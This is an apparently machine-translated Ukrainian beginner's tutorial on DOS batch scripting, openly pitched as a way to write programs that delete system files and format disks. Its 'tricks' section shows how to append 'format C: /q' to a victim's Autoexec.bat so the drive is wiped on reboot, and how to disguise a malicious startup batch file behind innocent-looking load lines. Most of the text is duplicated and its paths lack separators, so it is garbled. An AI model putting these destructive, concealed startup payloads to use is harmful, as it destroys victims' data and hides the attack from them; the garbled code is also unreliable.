Присвячується новачкам
(Таким як я))

Для початку давай розберемося в тому, що ж таке batch’і. Насамперед — це пакетні дос файли, які містять в собі у вигляді ascii набір досовських команд. По-російськи кажучи, bat файл містить в собі скрипт, інтерпритатором служить command.com.
Пояснюю: після прочитання цієї статті, ти зможеш писати проги, які видаляють системні файли, форматують диски і тд. Головне, тобі для цього знадобиться тільки блокнот і прямі руки, ніяких компіляторів і дебагеров не потрібно (бачи не такі примітивні, як тобі здається — є вирусыгенераторы, на них написані).
І ще. Я не буду описувати всі можливі прапори(параметри) кожної команди, тільки найбільш корисні.
Ну що, готовий? Поїхали!

Прості команди:
Для початку давай розберемося в тому, що ж таке batch’і. Насамперед — це пакетні дос файли, які містять в собі у вигляді ascii набір досовських команд. По-російськи кажучи, bat файл містить в собі скрипт, інтерпритатором служить command.com.
Пояснюю: після прочитання цієї статті, ти зможеш писати проги, які видаляють системні файли, форматують диски і тд. Головне, тобі для цього знадобиться тільки блокнот і прямі руки, ніяких компіляторів і дебагеров не потрібно (бачи не такі примітивні, як тобі здається — є вирусыгенераторы, на них написані).
І ще. Я не буду описувати всі можливі прапори(параметри) кожної команди, тільки найбільш корисні.
Ну що, готовий? Поїхали!
Прості команди:

echo off — заборону виводу на екран виконуваних команд (on — вкл.)
deltree /y %файл% — видалити файл (/y означає «видалити без питань»). Кста, в НТ працює струму del (прапор /y не потрібен).
copy %путьфайл% %кудафайл% — копіювати файло
mkdir %название_диры% — створити директорію
echo %текст% — вивести текст на екран
echo %текст% > %путьфайл% — створити файл та записати в нього текст
echo %текст% >> %путьфайл% — додати текст у вже існуючий файл
if exist %путьфайл% %команда% — якщо існує файл виконати команду
attrib %атрибут% %путьфайл% — поставитьубрать атрибути файлу (+-h прихований, +-s системний, +-r тільки читання)
start %путьфайл% — запустити файло
cls — відчистити екран
pause — виводить повідомлення «Натисніть будь-яку кнопку…»
label %новая_метка% — поставити нову мітку системного диска (диск С)
format %диск%: /q швидке форматування диска 🙂 Кілька секунд
ren %путьфайл% %новое_название_файла% — перейменувати файло
goto %мітка%



:%мітка% — перескочити з одного місця коду на мітку.

Фішки, хитрощі:
1: choice /N /T:y,%с% > nul — типу таймера (n секунд затримує виконання наступних команд).

2: %команда% > nul — заборону виводу на екран самої команди і результату її дії (корисно при команді «copy»). Приклад: copy c:some.exe %windir%some.exe > nul

3 regedit /s %путьфайл.reg% — додати ключі до реєстру з файлу, без питань

4: start /m /w %путьфайл% — запустити файло в згорнутому вікні.

5: чув про файл Autoexec.bat? Знаєш, що він вантажиться разом з компом? Напевно, так. Так от, він має розширення BAT. На що я натякаю? На те, що ти можеш в нього прописати рядок, наприклад, «format C: /q» (прописується вона ось так: echo format C: /q >> c:Autoexec.bat) і під час перезавантаження у жертви отформатируется диск С.
Це я до того, що будь-який скрипт, вставлений в цей файл, буде виконаний при завантаженні компа. Також можеш створити в каталозі з віндою файл winstart.bat. Він також запуститья виндусом.

6: це відноситься як раз до фішці з Autoexec’ом. Приміром, якщо ти покладеш в каталог windowscommand файл приміром «load.bat» (напевно з поганим змістом), це файлу з autoexec’a з імовірністю в 90% можна буде запустити рядком «load». І це ще відстій… Ти зможеш завантажувати це файло таким рядком: «load keybrd32.sys,,cyrlat» або такий: «load VideoAdapter32.drv — By windows setup –». Врятли такі рядки ризикне хтось видаляти і твоє файлів без трабл завантажиться..=)

7: if exist c:Progra~1 set drv=c:
if exist d:Progra~1 set drv=d:
if exist d:Progra~1 set drv=e:
Після виконання цього скрипта в змінній %drv% буде прописаний диск з Віндою, з Program Files’ами.

8: у змінній %windir% зберігається каталог з виндусом в такому вигляді: диск: название_каталога. Приклад: copy c:some.exe %windir%some.exe

9: batch скрипти не люблять довгі, або складаються з двох слів, назви. Довгі урізуються до 6-ти літер (після них повинно стояти “~1”, наприклад «Program Files -> Progra~1»). Прогалини він просто прибирає (The Bat -> TheBat~1).
Це я до того, що в бачах звертайся до файлів за їх досовських назвами. Приклад: copy c:some.exe c:Progra~1some.exe (копіюється файл в папку Program Files).

10: echo var WSHShell = WScript.CreateObject(«WScript.Shell»); > %temp%mes.js
echo WSHShell.Popup(«твой_текст»); >> %temp%mes.js
start %temp%mes.js
deltree /y %temp%mes.js

Цей скрипт виводить на екран _Виндовое_ віконце (за коштами Java Script) з твоїм повідомленням та кнопкою ОК.
Ну ось мабуть і все! Тут я промовчав про змінних, циклах і створення меню в batch’ах, так як це досить об’ємні теми. Наступна стаття буде присвячена їм.

echo off — заборону виводу на екран виконуваних команд (on — вкл.)
deltree /y %файл% — видалити файл (/y означає «видалити без питань»). Кста, в НТ працює струму del (прапор /y не потрібен).
copy %путьфайл% %кудафайл% — копіювати файло
mkdir %название_диры% — створити директорію
echo %текст% — вивести текст на екран
echo %текст% > %путьфайл% — створити файл та записати в нього текст
echo %текст% >> %путьфайл% — додати текст у вже існуючий файл
if exist %путьфайл% %команда% — якщо існує файл виконати команду
attrib %атрибут% %путьфайл% — поставитьубрать атрибути файлу (+-h прихований, +-s системний, +-r тільки читання)
start %путьфайл% — запустити файло
cls — відчистити екран
pause — виводить повідомлення «Натисніть будь-яку кнопку…»
label %новая_метка% — поставити нову мітку системного диска (диск С)
format %диск%: /q швидке форматування диска 🙂 Кілька секунд
ren %путьфайл% %новое_название_файла% — перейменувати файло
goto %мітка%



:%мітка% — перескочити з одного місця коду на мітку.

Фішки, хитрощі:
1: choice /N /T:y,%с% > nul — типу таймера (n секунд затримує виконання наступних команд).

2: %команда% > nul — заборону виводу на екран самої команди і результату її дії (корисно при команді «copy»). Приклад: copy c:some.exe %windir%some.exe > nul

3 regedit /s %путьфайл.reg% — додати ключі до реєстру з файлу, без питань

4: start /m /w %путьфайл% — запустити файло в згорнутому вікні.

5: чув про файл Autoexec.bat? Знаєш, що він вантажиться разом з компом? Напевно, так. Так от, він має розширення BAT. На що я натякаю? На те, що ти можеш в нього прописати рядок, наприклад, «format C: /q» (прописується вона ось так: echo format C: /q >> c:Autoexec.bat) і під час перезавантаження у жертви отформатируется диск С.
Це я до того, що будь-який скрипт, вставлений в цей файл, буде виконаний при завантаженні компа. Також можеш створити в каталозі з віндою файл winstart.bat. Він також запуститья виндусом.

6: це відноситься як раз до фішці з Autoexec’ом. Приміром, якщо ти покладеш в каталог windowscommand файл приміром «load.bat» (напевно з поганим змістом), це файлу з autoexec’a з імовірністю в 90% можна буде запустити рядком «load». І це ще відстій… Ти зможеш завантажувати це файло таким рядком: «load keybrd32.sys,,cyrlat» або такий: «load VideoAdapter32.drv — By windows setup –». Врятли такі рядки ризикне хтось видаляти і твоє файлів без трабл завантажиться..=)

7: if exist c:Progra~1 set drv=c:
if exist d:Progra~1 set drv=d:
if exist d:Progra~1 set drv=e:
Після виконання цього скрипта в змінній %drv% буде прописаний диск з Віндою, з Program Files’ами.

8: у змінній %windir% зберігається каталог з виндусом в такому вигляді: диск: название_каталога. Приклад: copy c:some.exe %windir%some.exe

9: batch скрипти не люблять довгі, або складаються з двох слів, назви. Довгі урізуються до 6-ти літер (після них повинно стояти “~1”, наприклад «Program Files -> Progra~1»). Прогалини він просто прибирає (The Bat -> TheBat~1).
Це я до того, що в бачах звертайся до файлів за їх досовських назвами. Приклад: copy c:some.exe c:Progra~1some.exe (копіюється файл в папку Program Files).

10: echo var WSHShell = WScript.CreateObject(«WScript.Shell»); > %temp%mes.js
echo WSHShell.Popup(«твой_текст»); >> %temp%mes.js
start %temp%mes.js
deltree /y %temp%mes.js
Цей скрипт виводить на екран _Виндовое_ віконце (за коштами Java Script) з твоїм повідомленням та кнопкою ОК.
Ну ось мабуть і все!